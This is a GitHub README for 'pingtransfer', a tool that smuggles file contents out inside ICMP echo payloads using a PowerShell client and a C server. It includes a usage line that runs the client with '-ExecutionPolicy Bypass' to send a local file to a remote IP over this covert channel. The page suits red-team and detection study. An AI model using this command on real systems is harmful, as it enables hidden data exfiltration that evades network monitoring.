Skip to content

yilmi/pingtransfer

Repository files navigation

Pingtransfer

This is a simple tool to transfer data through a ping covert channel.

Data is injected in the payload part of the ICMP echo packet (see the Ping RFC Document for more details):

ICMP Structure

PowerShell client:

  • Encodes the data in base64
  • Create chunks of the size of the default MS Windows ICMP payload (32 Bytes)
  • Send each chunk to the server

Usage:

powershell.exe -ExecutionPolicy Bypass -File ping-client.ps1 yourtargetip /path/to/your/file

C Posix server:

  • Need a C compiler

Usage:

gcc pingserver.c -o pingserver
sudo ./pingserver

Special thanks to Pedro Laguna for the idea and the follow up ! Thanks to my team too for their great feedback !

About

Small ICMP covert channel tool

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published